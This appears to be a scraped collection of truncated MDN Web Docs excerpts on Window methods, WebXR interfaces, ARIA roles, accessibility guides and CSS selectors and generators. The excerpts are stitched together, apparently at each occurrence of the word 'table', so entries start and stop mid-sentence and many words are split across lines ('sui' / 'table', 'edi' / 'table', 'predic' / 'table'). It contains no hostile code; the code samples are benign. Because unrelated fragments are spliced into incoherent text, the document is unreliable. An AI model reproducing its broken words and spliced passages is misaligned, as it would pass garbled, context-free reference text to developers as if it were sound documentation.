t window. example function setbusycursor(enable) { window.setcursor(enable ? "wait" : "auto"); } notes the cursor isn't reset until it's set back to auto. this function is a part of chromewindow interface. this function is unavailable to web pages, which can use the css cursor property instead. specification this is not part of any specification. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetcursor non-standardchrome no support ...
Window.setImmediate() - Web APIs
nternet explorer 8 includes a synchronous version of postmessage, which means it cannot be used as a fallback. messagechannel can be used reliably inside of web workers whereas the semantics of postmessage mean it cannot be used there. settimeout(fn, 0) can potentially be used, however as it is clamped to 4ms for timers nested more than 5 levels deep per the html spec, it does not make for a sui
table polyfill for the natural immediacy of setimmediate. all of these techniques are incorporated into a robust setimmediate polyfill. specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification. editor's draft initial definition. ...
Window.showModalDialog() - Web APIs
ze is fixed. default is no. note: firefox does not implement the dialoghide, edge, status, or unadorned arguments. examples try out showmodaldialog(). notes showmodaldialog() was briefly standardized as part of html5. the third argument for additional options was not present in the html5 version. specification msdn page for showmodaldialog browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshowmodaldialog deprecatednon-standardchrome no sup...
Window.stop() - Web APIs
ndows, and other still-loading objects. syntax window.stop() example window.stop(); specification specification status comment html living standardthe definition of 'window.stop()' in that specification. living standard html5the definition of 'window.stop' in that specification. recommendation browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstopchrome full support ...
Window.updateCommands() - Web APIs
in bold right now). notes this enables or disables items (setting or clearing the "disabled" attribute on the command node as appropriate), or ensures that the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes. specification dom level 0. not part of specification. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdatecommands non-standardchrome no support ...
Worker.prototype.postMessage() - Web APIs
transfer optional an optional array of transferable objects to transfer ownership of. if the ownership of an object is transferred, it becomes unusable (neutered) in the context it was sent from and becomes available only to the worker it was sent to. transferable objects are instances of classes like arraybuffer, messageport or imagebitmap objects that can be transferred. null is not an accep
table value for transfer. returns void. example the following code snippet shows the creation of a worker object using the worker() constructor. when either of two form inputs (first and second) have their values changed, change events invoke postmessage() to send the value of both inputs to the current worker. var myworker = new worker('worker.js'); first.onchange = function() { myworker.post...
WorkerNavigator.permissions - Web APIs
amples self.navigator.permissions.query({name:'notifications'}).then(function(result) { if (result.state === 'granted') { shownotification(); } else if (result.state === 'prompt') { requestnotificationpermission() } }); specification specification status comment permissions working draft initial definition. browser support the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissions experimentalchrome full support ...
XREnvironmentBlendMode - Web APIs
ecified are ignored and treated as if they were 1.0. alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see, this offers a way to create an ar presentation using a vr device. alpha blending can also be used by non-wearable devices that provide ar modes, such as phones or
tablets using cameras to capture the real world for use in ar apps. since the real world is being digitally presented, the brightness of each pixel can be controlled, whether it's reality or the rendered xr image, the user's environment can be blended with the virtual environment with each pixel having its color and brightness precisely controlled. in this mode, the xrsession's renderstate.baselayer p...
XRInputSource.gripSpace - Web APIs
er virtual objects so they appear to be held in (or part of) the user's hand. for example, if a user were holding a virtual straight rod, the native origin of this xrspace would be located at the approximate center of mass of the user's fist. syntax var xrspace = xrinputsource.gripspace; value an xrspace object representing the position and orientation of the input device in virtual space, sui
table for rendering an image of the device into the scene. gripspace is null if the input source is inherently untrackable. for example, only inputs whose targetraymode is tracked-pointer provide a gripspace. imagine that the controller is shaped like a straight rod, held in the user's fist. the native origin of the grip space is located at the centroid—the center of mass—of the user's fist, track...
XRPermissionDescriptor.mode - Web APIs
ionmode enumerated type: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet s
table and should not be used other than for testing and experimentation. immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment. the environmentblendmode is expected to be opaque if possible, but might be additive if the hardware requires it. inline the output is...
XRSessionMode - Web APIs
hat can be used. values immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet s
table and should not be used other than for testing and experimentation. immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment. the environmentblendmode is expected to be opaque if possible, but might be additive if the hardware requires it. inline the output is...
XRSystem: requestSession() - Web APIs
the supported modes are: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet s
table and should not be used other than for testing and experimentation. immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment. the environmentblendmode is expected to be opaque if possible, but might be additive if the hardware requires it. inline the output is...
XRWebGLLayer - Web APIs
er object for use by the specified xrsession, using a particular webglrenderingcontext or webgl2renderingcontext as the destination context. properties antialias read only a boolean value indicating whether or not the webgl context's framebuffer supports anti-aliasing. the specific type of anti-aliasing is determined by the user agent. framebuffer read only returns a webglframebuffer sui
table for passing into the bindframebuffer() method. framebufferwidth read only returns the width of the xrwebgllayer's framebuffer. framebufferheight read only returns the height of the layer's framebuffer. ignoredepthvalues read only a boolean which indicates whether or not the webxr compositor should make use of the contents of the layer's depth buffer while compositing the scene. methods...
XRWebGLLayerInit.ignoreDepthValues - Web APIs
same location in the color buffer, and must have a value between 0.0 and 1.0, where 0.0 corresponds to the distance specified in the xrsession object's renderstate record's depthnear and 1.0 represents the distance given by depthfar. ignoring depth values causes the compositor to rely solely upon the relative position of objects to establish depth, and may result in less effective and less comfor
table 3d effects. the default is false (depth values are used by default). example in this example, a new xrwebgllayer is created for a webxr session, xrsession. it's configured to ignore depth values or an alpha channel. xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false, ignoredepthvalues: true }); }); specifications specification st...
Using the presentation role - Accessibility
this technique demonstrates how to use the presentation role and describes the effect it has on browsers and assistive technology. the presentation role is used to remove semantic meaning from an element and any of its related child elements. for example, a
table used for layout purposes could have the presentation role applied to the
table element to remove any semantic meaning from the
table element and any of its
table related children elements, such as
table headers and
table data elements. non-
table related elements should retain their semantic meaning, however. possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not norm...
ARIA: application role - Accessibility
lind user to consume the content. this is often referred to as virtual document, browse mode, or similar terms. the document is streamlined to a single-column view. a keyboard interaction model is generated that is very similar to a word processor where users can read line by line, sentence by sentence, or paragraph by paragraph. the at will read any semantics like links, headings, form controls,
tables, lists, or images. in addition, a set of so-called quick navigation keys has been established over the years that allows blind users to skim through a page via a certain element type. such elements usually include headings, form fields, lists,
tables, links, graphics, or landmark regions. for all of this to work, ats intercept almost all keyboard input and consume it themselves, letting nothin...
ARIA: List role - Accessibility
ul>/<ol> and <li>. see best practices for a full example. associated wai-aria roles, states, and properties listitem a single item in a list or directory. elements with role listitem can only be found in an element with the role list or group. group a collection of related objects, limited to list items when nested in a list, not important enough to have their own place in a pages
table of contents. keyboard interactions none. required javascript features none. examples aria lists — some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript. unlike the html <ol> and <...
ARIA: Listitem role - Accessibility
tates, and properties list a list of items. elements with role list must have one or more elements with the role listitem as children, a one or more elements with the role of group that have one or more elements with the listitem role as children. group a collection of related objects, limited to list items when nested in a list, not important enough to have their own place in a pages
table of contents. keyboard interactions none. required javascript features none. examples aria lists — some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript. if at all possible, you sh...
ARIA: img role - Accessibility
and "face with tears of joy", but this doesn't necessarily make sense — the implied meaning is possibly more like "that cat is so funny", so we include that in an aria-label along with role="img". this seems to work ok across some browser/screenreader combinations, but some of them end up reading the label out twice. use with caution and test thoroughly. another example where this might be sui
table is when using ascii emoji combinations, like the legendary "
table flip": <div role="img" aria-label="
table flip"> <p> (╯°□°）╯︵ ┻━┻ </p> </div> associated wai-aria roles, states, and properties aria-label an accessible name is required. an aria-label attribute keyboard interactions required javascript features examples star rating role="img" example ...
ARIA: Suggestion role - Accessibility
this should be used on an element that wraps an element with an insertion role, and one with a deletion role. examples when you’ve got a content change that involves an insertion and a deletion, there is no way for a screenreader user to work out if the two are related or not. this is the job of role="suggestion", which should be set on an element wrapping both of them like so: <p>freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>. ...
ARIA: switch role - Accessibility
it represents the current state of the widget that the switch role is applied to. a value of true represents the "on" state; false represents the "off" state; a value of mixed is not supported by the switch role, and is treated as false. the default value is false. aria-readonly attribute the aria-readonly attribute is supported by the switch role. it indicates whether the widget's state is edi
table by the user. a value of false means that the user can change the widget's state; a value of true means that the user cannot change the widget's state. the default value is false. required javascript features handler for click events when the user clicks on the switch widget, a click event is fired, which must be handled in order to change the state of the widget. changing the aria-checked ...
ARIA: checkbox role - Accessibility
posing an element and adding aria. instead use the native html checkbox of <input type="checkbox">, which natively provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> description the native html checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state set
table via javascript. similarly, an element with role="checkbox" can expose three states through the aria-checked attribute: true, false, or mixed. since a checkbox is an interactive control, it must be focusable and keyboard accessible. if the role is applied to a non-focusable element, use the tabindex attribute to change this. the expected keyboard shortcut for activating a checkbox is the space k...
ARIA: heading role - Accessibility
2>introduction</h2> <p>an introductory text.</p> <h2>chapter 1</h2> <p>text</p> <h3>chapter 1.1</h3> <p>more text in a sub section.</p> ...</div> accessibility concerns if you must use the heading role and aria-level attribute, do not go over level 6 so that you are consistent with html. although theoretically you can go higher, and some screen readers may support it, the results can be unpredic
table with other browser/screen reader combinations. best practices the best way to use this role is to not use it at all, and instead use the native heading tags <h1> through <h6> as shown in the example above. the heading role and aria-level attribute should only be used to retrofit accessibility on legacy code that you cannot make major changes to. added benefits none. specifications ...
overview - Accessibility
ationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and aria tab panel example here on codetalks lightbox wcag 2.0 and aria-conformant lightbox application http://majx-js.digissime.net/js/popin/ form validation wcag 2.0 and aria-conformant live form validation
tables german tutorial on creating an accessible form simple grid example at codetalks date picker grid at codetalks wcag 2.0 and aria-conformant sor
table tables ...
Architecture - Accessibility
for backward compatibility. implementation classes here are some notes on the classes we use: nshypertextaccessible is for any container that may wrap both text and embedded object: nsiaccessibletext is supported if there is potentially any text in the container nsiaccessiblehypertext is supported if there is potentially text and embedded objects together in the container. nsiaccessibleedi
tabletext is supported if the area is potentially edi
table. if it's actually edi
table it will also provide state_edi
table. nsaccessible still represents any node in the tree. if the node is embedded in a parent that is an nsiaccessiblehypertext, the node will be exposed as an nsiaccessiblehyperlink. consumers can use this interface to determine the position of the object in the parent's text. nstextac...
Keyboard-navigable JavaScript widgets - Accessibility
. to do this, authors can set tabindex to any positive number. warning: avoid using positive values for tabindex. elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more positive values for tabindex. the following
table describes tabindex behavior in modern browsers: tabindex attribute focusable with mouse or javascript via element.focus() tab navigable not present follows the platform convention of the element (yes for form controls, links, etc.). follows the platform convention of the element. negative (i.e. tabindex="-1") yes no; author must focus the element with...
Mobile accessibility checklist - Accessibility
x order and off-screen placement must not be used exclusively to handle visibility. everything other than the currently visible screen must be truly invisible (especially relevant for single page apps with multiple cards): use the hidden attribute or visibility or display style properties. unless absolutely unavoidable, aria-hidden attribute should not be used. focus all activa
table elements must be focusable: standard controls such as links, buttons, and form fields are focusable by default. non-standard controls must have an appropriate aria role assigned to them, such as button, link, or checkbox. focus should be handled in a logical order and consistent manner. text equivalents text equivalent must be provided for every non-strictly presentational no...
Web accessibility for seizures and physical reactions - Accessibility
heme this can be useful if the ambient light api is not available. support is emerging. @media (prefers-color-scheme: dark) { /* adust styles for dark mode */ } window.matchmedia() there is a powerful tool available to developers via window.matchmedia(). a great resource is mdn's document on window.matchmedia() media update feature the more often the screen is refreshed, the more s
table it appears to the human eye, and the less it "flickers". the vast majority of modern technology refreshes at a rate that does not cause problems with photosensitivity. however, not everybody is wealthy enough to be able to afford the most recent technology: older or underpowered computers can have low refresh rates. abilitynet's factsheet (november 2015) computers and epilepsy (pdf) describes mor...
:-moz-drag-over - CSS: Cascading Style Sheets
the :-moz-drag-over css pseudo-class is a mozilla extension that matches an element when a dragover event is called on it. syntax :-moz-drag-over examples html <
table border="1"> <tr> <td width="100px" height="100px">drag over</td> </tr> </
table> css td:-moz-drag-over { color: red; } result specifications not part of any standard. ...
::slotted() - CSS: Cascading Style Sheets
details> <p slot="person-name">dr. shazaam</p> <span slot="person-age">immortal</span> <span slot="person-occupation">superhero</span> </person-details> specifications specification status comment css scoping module level 1the definition of '::slotted' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet::slottedchrome full support ...
:defined - CSS: Cascading Style Sheets
e to load into the page — you might want to hide instances of the element until definition is complete, so that you don't end up with flashes of ugly unstyled elements on the page specifications specification status comment html living standardthe definition of ':defined' in that specification. living standard browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:definedchrome full support ...
:has() - CSS: Cascading Style Sheets
mg) matching <h1> elements that are followed by a <p> the following selector matches <h1> elements only if they have a <p> element directly following them: h1:has(+ p) specifications specification status comment selectors level 4the definition of ':has()' in that specification. working draft initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:has()chrome no support ...
:host-context() - CSS: Cascading Style Sheets
he shadow host in this instance) inside the <h1>. we've used it to make it clear that the custom element shouldn't appear inside the <h1> in our design. specifications specification status comment css scoping module level 1the definition of ':host-context()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:host-context()chrome full support ...
:host - CSS: Cascading Style Sheets
st { background: rgba(0,0,0,0.1); padding: 2px 5px; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document. specifications specification status comment css scoping module level 1the definition of ':host' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:hostchrome full support ...
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
(it takes the specificity of its most specific argument), whereas :where() has a specificity value of 0. this is demonstrated by the example on the :where() reference page. specifications specification status comment selectors level 4the definition of ':is()' in that specification. working draft initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:is()chrome full support ...
:lang() - CSS: Cascading Style Sheets
in html, the language is determined by a combination of the lang attribute, the <meta> element, and possibly by information from the protocol (such as http headers). for other document types there may be other document methods for determining the language. syntax formal syntax :lang( <language-code> ) parameter <language-code> a <string> representing the language you want to target. accep
table values are specified in the html spec. examples in this example, the :lang() pseudo-class is used to match the parents of quote elements (<q>) using child combinators. note that this doesn't illustrate the only way to do this, and that the best method to use depends on the type of document. also note that unicode values are used to specify some of the special quote characters. html <div lang...
:link - CSS: Cascading Style Sheets
3the definition of ':link' in that specification. recommendation no change. css level 2 (revision 1)the definition of ':link' in that specification. recommendation lift the restriction to only apply it for <a> element. css level 1the definition of ':link' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:linkchrome full support ...
:not() - CSS: Cascading Style Sheets
he accompanying rule will never be applied. this pseudo-class can increase the specificity of a rule. for example, #foo:not(#bar) will match the same element as the simpler #foo, but has a higher specificity. :not(.foo) will match anything that isn't .foo, including <html> and <body>. this selector only applies to one element; you cannot use it to exclude all ancestors. for instance, body :not(
table) a will still apply to links inside of a
table, since <tr> will match with the :not() part of the selector. examples html <p>i am a paragraph.</p> <p class="fancy">i am so very fancy!</p> <div>i am not a paragraph.</div> css .fancy { text-shadow: 2px 2px 3px gold; } /* <p> elements that are not in the class `.fancy` */ p:not(.fancy) { color: green; } /* elements that are not <p> elem...
:scope - CSS: Cascading Style Sheets
> </div> <div id="element-2"> <div id="element-2.1"></div> </div> </div> <p> selected elements ids : <span id="results"></span> </p> result specifications specification status comment selectors level 4the definition of ':scope' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:scopechrome full support ...
:target - CSS: Cascading Style Sheets
rrent url's fragment */ :target { border: 2px solid black; } for example, the following url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a
table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a
table of contents. html <h3>
table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fu...
:visited - CSS: Cascading Style Sheets
no change. css level 2 (revision 1)the definition of ':visited' in that specification. recommendation lifts the restriction to only apply :visited to the <a> element. lets browsers restrict its behavior for privacy reasons. css level 1the definition of ':visited' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:visitedchrome full support ...
:where() - CSS: Cascading Style Sheets
'[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>? ']'where <attr-matcher> = [ '~' | | | '^' | '$' | '*' ]? '='<attr-modifier> = i | s specifications specification status comment selectors level 4the definition of ':where()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:where()chrome full support ...
@charset - CSS: Cascading Style Sheets
; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@charsetchrome full support ...
font-stretch - CSS: Cascading Style Sheets
es variable fonts to offer something more like a continuum of character widths. for truetype or opentype variable fonts, the "wdth" variation is used to implement varying widths. if the font does not provide a face that exactly matches the given value, then values less than 100% map to a narrower face, and values greater than or equal to 100% map to a wider face. ...
@font-face - CSS: Cascading Style Sheets
rol over opentype or truetype font variations, by specifying the four letter axis names of the features to vary, along with their variation values. src specifies the resource containing the font data. this can be a url to a remote font file location or the name of a font on the user's computer. to provide the browser with a hint as to what format a font resource is — so it can select a sui
table one — it is possible to include a format type inside a format() function: src: url(ideal-sans-serif.woff) format("woff"), url(basic-sans-serif.ttf) format("truetype"); the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg". unicode-range the range of unicode code points to be used from the font. description if the local() function is pro...
@font-feature-values - CSS: Cascading Style Sheets
{ nice-style: 4; } } … /* apply the at-rules with a single declaration */ .nice-look { font-variant-alternates: styleset(nice-style); } specifications specification status comment css fonts module level 4the definition of '@font-feature-values' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@font-feature-valueschrome no support ...
-ms-high-contrast - CSS: Cascading Style Sheets
lor of the background. the <a> element controls the color of links. because high contrast mode themes are dynamic, use these color keywords in place of other css color values. this will ensure that content will always be able to be perceived. content if at all possible, prefer updating html markup over modifying content using css2 system color keywords. this helps keep the content more predic
table. specifications not part of any standard. remarks as of microsoft edge 18, -ms-high-contrast: none is no longer supported. microsoft edge versions 18 and higher will be using the forced-colors media feature instead, but the forced-colors media feature specification is still being actively worked on. the -ms-high-contrast media feature works with the -ms-high-contrast-adjust property. the -m...
color-index - CSS: Cascading Style Sheets
the color-index css media feature can be used to test the number of entries in the output device's color lookup
table. syntax the color-index feature is specified as an <integer> value representing the number of entries in the output device's color lookup
table. (this value is zero if the device does not use such a
table.) it is a range feature, meaning that you can also use the prefixed min-color-index and max-color-index variants to query minimum and maximum values, respectively. examples basic example html <p>this is a test.</p> css p { color: black; } @media (color-index) { p { color: red; } } @media (min-color-index: 15000) { p { color: #1475ef; } } result custom stylesheet this html will apply a special stylesheet for devices that have at least 256 color...
color - CSS: Cascading Style Sheets
query minimum and maximum values, respectively. note: if the various color components are represented by different numbers of bits, the smallest number is used. for example, if a display uses 5 bits for blue and red and 6 bits for green, then the device is considered to use 5 bits per color component. if the device uses indexed colors, the minimum number of bits per color component in the color
table is used. see applying color to html elements using css to learn more about using css to apply color to html. examples html <p>this text should be black on non-color devices, red on devices with a low number of colors, and greenish on devices with a high number of colors.</p> css p { color: black; } /* any color device */ @media (color) { p { color: red; } } /* any color device...
light-level - CSS: Cascading Style Sheets
for example: night time, or a dimly illuminated indoor environment. normal the device is used in a environment with a light level in the ideal range for the screen, and which does not necessitate any particular adjustment. washed the device is used in an exceptionally bright environment, causing the screen to be washed out and difficult to read. ...
shape - CSS: Cascading Style Sheets
rect the shape is an axis aligned rectangle or square, or a similar shape such as rounded rectangle for which the traditional designs are appropriate. round the shape is rounded or a similar shape to the circle such as an oval, an ellipse for which distinctively rounded designs are appropriate. ...
CSS Animations tips and tricks - CSS: Cascading Style Sheets
how to run a stopped animation again. run an animation again the css animations specification doesn't offer a way to run an animation again. there's no magic resetanimation() method on elements, and you can't even just set the element's animation-play-state to "running" again. instead, you have to use clever tricks to get a stopped animation to replay. here's one way to do it that we feel is s
table and reliable enough to suggest to you. html content first, let's define the html for a <div> we wish to animate and a button that will play (or replay) the animation. <div class="box"> </div> <div class="runbutton">click me to run the animation</div> css content now we'll define the animation itself using css. some css that's not important (the style of the "run" button itself) isn't shown ...
Border-image generator - CSS: Cascading Style Sheets
; } .span_3 { width: 23.78%; } .span_2 { width: 15.32%; } .span_1 { width: 6.86%; } /* sections * ========================================================================== */ .section { clear: both; padding: 0px; margin: 0px; } /* grouping * ========================================================================== */ .group:before, .group:after { content: ""; display:
table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider { height:...
Border-radius generator - CSS: Cascading Style Sheets
} .span_3 { width: 23.78%; } .span_2 { width: 15.32%; } .span_1 { width: 6.86%; } /* sections * ========================================================================== */ .section { clear: both; padding: 0px; margin: 0px; } /* grouping * ========================================================================== */ .group:before, .group:after { content: ""; display:
table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider-container {...
Box-shadow generator - CSS: Cascading Style Sheets
; } .span_3 { width: 23.78%; } .span_2 { width: 15.32%; } .span_1 { width: 6.86%; } /* sections * ========================================================================== */ .section { clear: both; padding: 0px; margin: 0px; } /* grouping * ========================================================================== */ .group:before, .group:after { content: ""; display:
table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui slider */ .slidergroup { height: 20px; m...
CSS Display - CSS: Cascading Style Sheets
ealizing common layouts using grids specifications specification status comment css display module level 3the definition of 'display' in that specification. candidate recommendation added run-in, flow, flow-root, contents and multi-keyword values. css level 2 (revision 1)the definition of 'display' in that specification. recommendation added the
table model values and inline-block. css level 1the definition of 'display' in that specification. recommendation initial definition. basic values: none, block, inline and list-item. in addition to the css display specification level 3, further specifications define the behavior of various values of display. ...
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
ollapsed items the flexbox specification details what should happen if a flex item is collapsed by setting visibility: collapse on an item. see the mdn documentation for the visibility property. the specification describes the behaviour as follows: “specifying visibility:collapse on a flex item causes it to become a collapsed flex item, producing an effect similar to visibility:collapse on a
table-row or
table-column: the collapsed flex item is removed from rendering entirely, but leaves behind a "strut" that keeps the flex line’s cross-size s
table. thus, if a flex container has only one flex line, dynamically collapsing or uncollapsing items may change the flex container’s main size, but is guaranteed to have no effect on its cross size and won’t cause the rest of the page’s layou...
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
ot intrude, and the containers' margins will not collapse. with regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. if you have used the vertical-align property, as used with inline-block or
table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead. in this next live example the child elements have been floated, and then their container has had display: flex added. if you remove display: flex, you should see that the .box element collapses as we have no clearing applied. this demonstrates that the float is happening. re-app...
Variable fonts guide - CSS: Cascading Style Sheets
nts around it. this makes grade a useful axis of variation as it can be varied or animated without causing reflow of the text itself. font-variation-settings: 'grad' 88; the following live example's css can be edited to allow you to play with font grade values. using a variable font: @font-face changes the syntax for loading variable fonts is very similar to any other web font, with a few no
table differences, which are provided via upgrades to the traditional @font-face syntax now available in modern browsers. the basic syntax is the same, but the font technology can be specified, and allowable ranges for descriptors like font-weight and font-stretch can be supplied, rather than named according to the font file being loaded. example for a standard upright (roman) font: @font-face { fo...
Basic Concepts of grid layout - CSS: Cascading Style Sheets
px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } don't forget that you can use the grid inspector in firefox developer tools to see how the items are positioned against the lines of the grid. grid cells a grid cell is the smallest unit on a grid. conceptually it is like a
table cell. as we saw in our earlier examples, once a grid is defined as a parent the child items will lay themselves out in one cell each of the defined grid. in the below image, i have highlighted the first cell of the grid. grid areas items can span one or more cells both by row or by column, and this creates a grid area. grid areas must be rectangular – it isn’t possible to create an l-shap...
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
looked at the main page for css logical properties and values you will see there are a huge number of properties listed. this is mostly due to the fact that there are four longhand values each for margin, border, and padding side, plus all the shorthand values. mappings for margins, borders, and padding the specification details mappings for each logical value to a physical counterpart. in the
